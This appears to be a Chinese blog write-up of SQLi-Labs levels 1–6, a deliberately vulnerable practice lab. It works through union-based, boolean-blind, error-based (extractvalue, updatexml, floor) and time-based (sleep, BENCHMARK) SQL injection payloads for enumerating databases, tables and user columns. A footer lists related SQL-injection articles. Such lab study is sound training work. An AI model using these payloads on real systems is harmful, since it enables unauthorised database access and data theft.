SQLi-Labs之1~6关 - 常规注入与盲注
年初五 财神入
第一关
联合注入
1.准备

2.加'截断

3.order by 判断查询列数

4.同上

5.联合查询判断字段位置

6.查数据库名

7.1 查表名

7.2 查列名

8.查数据

第二关

不需要单引号截断,查询代码用了整数值
其余与第一关相同
第三关

说明用了(' ')结构

换成')即可
第四关

说明用了(" ")结构

换成")即可
第五关

不管输入什么都是提示u r in....
没有回显,尝试盲注
布尔盲注
布尔盲注方式有————
left(1,2)=3 //从左侧截取1的前2位,与3的值比较
ascii(substr(1,2,3)) //从2位置开始截取字符串1的3数值长度,转换为ascii值
regexp //正则匹配目标值和a-z指定值,正确为1,错误为0
select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^us[a-z]' limit 0,1)
like //和regexp一样
ord() 和 mid()
(1)用left
1.测试


2.测试数据库第一位是否大于b

是否大于y

由此可见第一位在b到y之间,可以用二分法测试,不用二分法的话可以用等于号一个个试


前两位这样测,以此类推
(2)用length量数据库长度


(3)用substr和ascii



and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>101 --+
测试表名第一位是不是e
第二位把substr(x,2,1)改成2即可,以此类推

获取第三个表,把limit 0,1改成limit 2,1即可,表示从2开始(顺位第3),取第1个值

(4)用regexp
猜users表的列
and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^username' limit 0,1)


(5)用ord和mid
获取user表内容
and ord(mid((select ifnull(cast(username as char),0x20)from security.users order by id limit 0,1),1,1))=68

获取users表中username中的第一行的第一个字符的ascii,与68进行比较
报错盲注
报错盲注类型有————
count,floor,group by
double数值超出范围
bigint溢出 xpath函数——extractvalue和updatexml
数据重复性
(1)floor函数

union select 1,count(*),concat(0x3a,(select user()),0x3a,floor(rand(0)*2))a from information_schema.columns group by a
(2)double数值超出范围
(没能复现成功)

union select (exp(~(select*from(select user())x))),2,3
(3)bigint溢出
(也未能复现成功)

union select(!(select * from(select user())x) - ~0),2,3
(4)xpath函数

and extractvalue(1,concat(0x7e,(select @@version),0x7e))

and updatexml(1,concat(0x7e,(select@@version),0x7e),1)
(5)数据重复性

union select 1,2,3 from(select NAME_CONST(version(),1),NAME_CONST(version(),1))x
时间盲注
时间盲注类型有————
sleep()函数
BENCHMARK()函数
(1)sleep函数
错误,延时5秒

正确

and If(ascii(substr(database(),1,1))=115,1,sleep(5))
(2)BENCHMARK函数
正确

UNION SELECT(IF(SUBSTRING(current,1,1)=CHAR(115),BENCHMARK(50000000,ENCODE('MSG','by 5 seconds')),null)),2,3 FROM(select database() as current)as tb1
当结果正确的时候,运行ENCODE('MSG','by5seconds')操作50000000次,会占用一段时间和CPU资源
第六关
对id参数进行了处理,把'换成''即可
至此已基本介绍完一般注入类型
SQLi-Labs之1~6关 - 常规注入与盲注的更多相关文章
- GYCTF 盲注【regexp注入+时间盲注】
考点:regexp注入+时间盲注 源码: <?php # flag在fl4g里 include 'waf.php'; header("Content-type: text/html; ...
- SQL注入之Sqli-labs系列第四十一关(基于堆叠注入的盲注)和四十二关四十三关四十四关四十五关
0x1普通测试方式 (1)输入and1=1和and1=2测试,返回错误,证明存在注入 (2)union select联合查询 (3)查询表名 (4)其他 payload: ,( ,( 0x2 堆叠注入 ...
- SQL注入之Sqli-labs系列第九关和第十关(基于时间盲注的注入)
开始挑战第九关(Blind- Time based- Single Quotes- String)和第十关( Blind- Time based- Double Quotes- String) gog ...
- webgote的例子(6)SQL注入(盲注)
SQL Injection - Blind (WS/SOAP) 本期演示的是盲注的手法.有些网站在与数据库交互的地方进行了很好的修饰,将报错的语句进行修改,即使你找到了注入点也无法下手拿数据,这个时候 ...
- 渗透测试初学者的靶场实战 1--墨者学院SQL注入—布尔盲注
前言 大家好,我是一个渗透测试的爱好者和初学者,从事网络安全相关工作,由于爱好网上和朋友处找了好多关于渗透的视频.工具等资料,然后自己找了一个靶场,想把自己练习的体会和过程分享出来,希望能对其他渗透爱 ...
- SQL注入:盲注
盲注简介 所谓的盲注就是在服务器没有错误回显的时候完成的注入攻击. 服务器没有错误回显,对于攻击者来说缺少了非常重要的"调试信息". 盲注分类 1.布尔盲注 布尔很明显Ture和F ...
- sql注入--bool盲注,时间盲注
盲注定义: 有时目标存在注入,但在页面上没有任何回显,此时,我们需要利用一些方法进行判断或者尝试得到数据,这个过程称之为盲注. 布尔盲注: 布尔盲注只有true跟false,也就是说它根据你的注入信息 ...
- ctfhub技能树—sql注入—时间盲注
打开靶机 查看页面信息 测试时间盲注 可以看到在执行命令后会有一定时间的等待,确定为时间盲注 直接上脚本 1 #! /usr/bin/env python 2 # _*_ coding:utf-8 _ ...
- DVWA-sql注入(盲注)
DVWA简介 DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的PHP/MySQL Web应用,旨在为安全专业人员测试自己的专业技能和工具提供合法 ...
随机推荐
- java后端导出excel
最近工作中需要导出excel.这次机智一点做个笔记,顺便写了一个比较通用的工具类.自然目前不能生成java实体类属性嵌套多次的这种没办法导出了,后续有需要的时候我再改改. 首先,java后端导出exc ...
- Spring Boot Admin最佳实践
本文不进行Spring Boot Admin入门知识点说明 在Spring Boot Actuator中提供很多像health.metrics等实时监控接口,可以方便我们随时跟踪服务的性能指标.Spr ...
- OpenCV 实现自己的线性滤波器
#include "opencv2/imgproc/imgproc.hpp" #include "opencv2/highgui/highgui.hpp" #i ...
- proxmox新版本使用了lxc容器,导致以前的vzlist命令无法使用,于是自己写了一个脚本来获取所有半虚拟化主机的信息状态
#!/usr/bin/env python #encoding:utf-8 # desc:用来描述各个主机信息 import os #CTID NPROC STATUS IP_ADDR HOSTNAM ...
- 制作MACOSX 10.9Mavericks安装启动U盘教程
苹果OS X Mavericks发布了,不少朋友又开始制作系统安装U盘了.其实下面介绍的方法与之前介绍的方法可能有些不同,不过原理还是一样的.下面看看具体的操作步骤吧! 1. 首先你需要开启显示隐藏文 ...
- hibernate主键(generator)生成方式
1) assigned 主键由外部程序负责生成,无需Hibernate参与. 2) hilo 通过hi/lo 算法实现的主键生成机制,需要额外的数据库表保存主键生成历史状态. 3) seqhilo 与 ...
- python二叉树及叶节点获取 (面试题)
才疏学浅,智商不够,花了一晚上看了二叉树.记录一下: 1.二叉树的遍历 前序遍历:根节点->左子树->右子树 中序遍历:左子树->根节点->右子树 后序遍历:左子树->右 ...
- Web of science|SCIE|影响因子|SSCI|高被引论文|领域中热点论文|
信息检索: 数据库 Web of science 影响因子只是针对期刊打分,并不是对文章打分.所以对文章评价可以看引用次数. SCIE (Science Citation Index Expanded ...
- Algorithms第3章及少量习题
第三章的主要思想就是DFS.讲了图上的DFS操作,然后讲了各种应用.这章默认图都是用邻接矩阵存的. procedure explore(G, v) Input: G = (V, E) is a gra ...
- Python 列表[::-1]翻转
b = a[i:j:s]: i为起始索引(缺省为0), j为结束索引(不包括,缺省为len(a)), s为步进(缺省为1). 所以a[i:j:1]相当于a[i:j]. 当s<0时: i缺省时,默 ...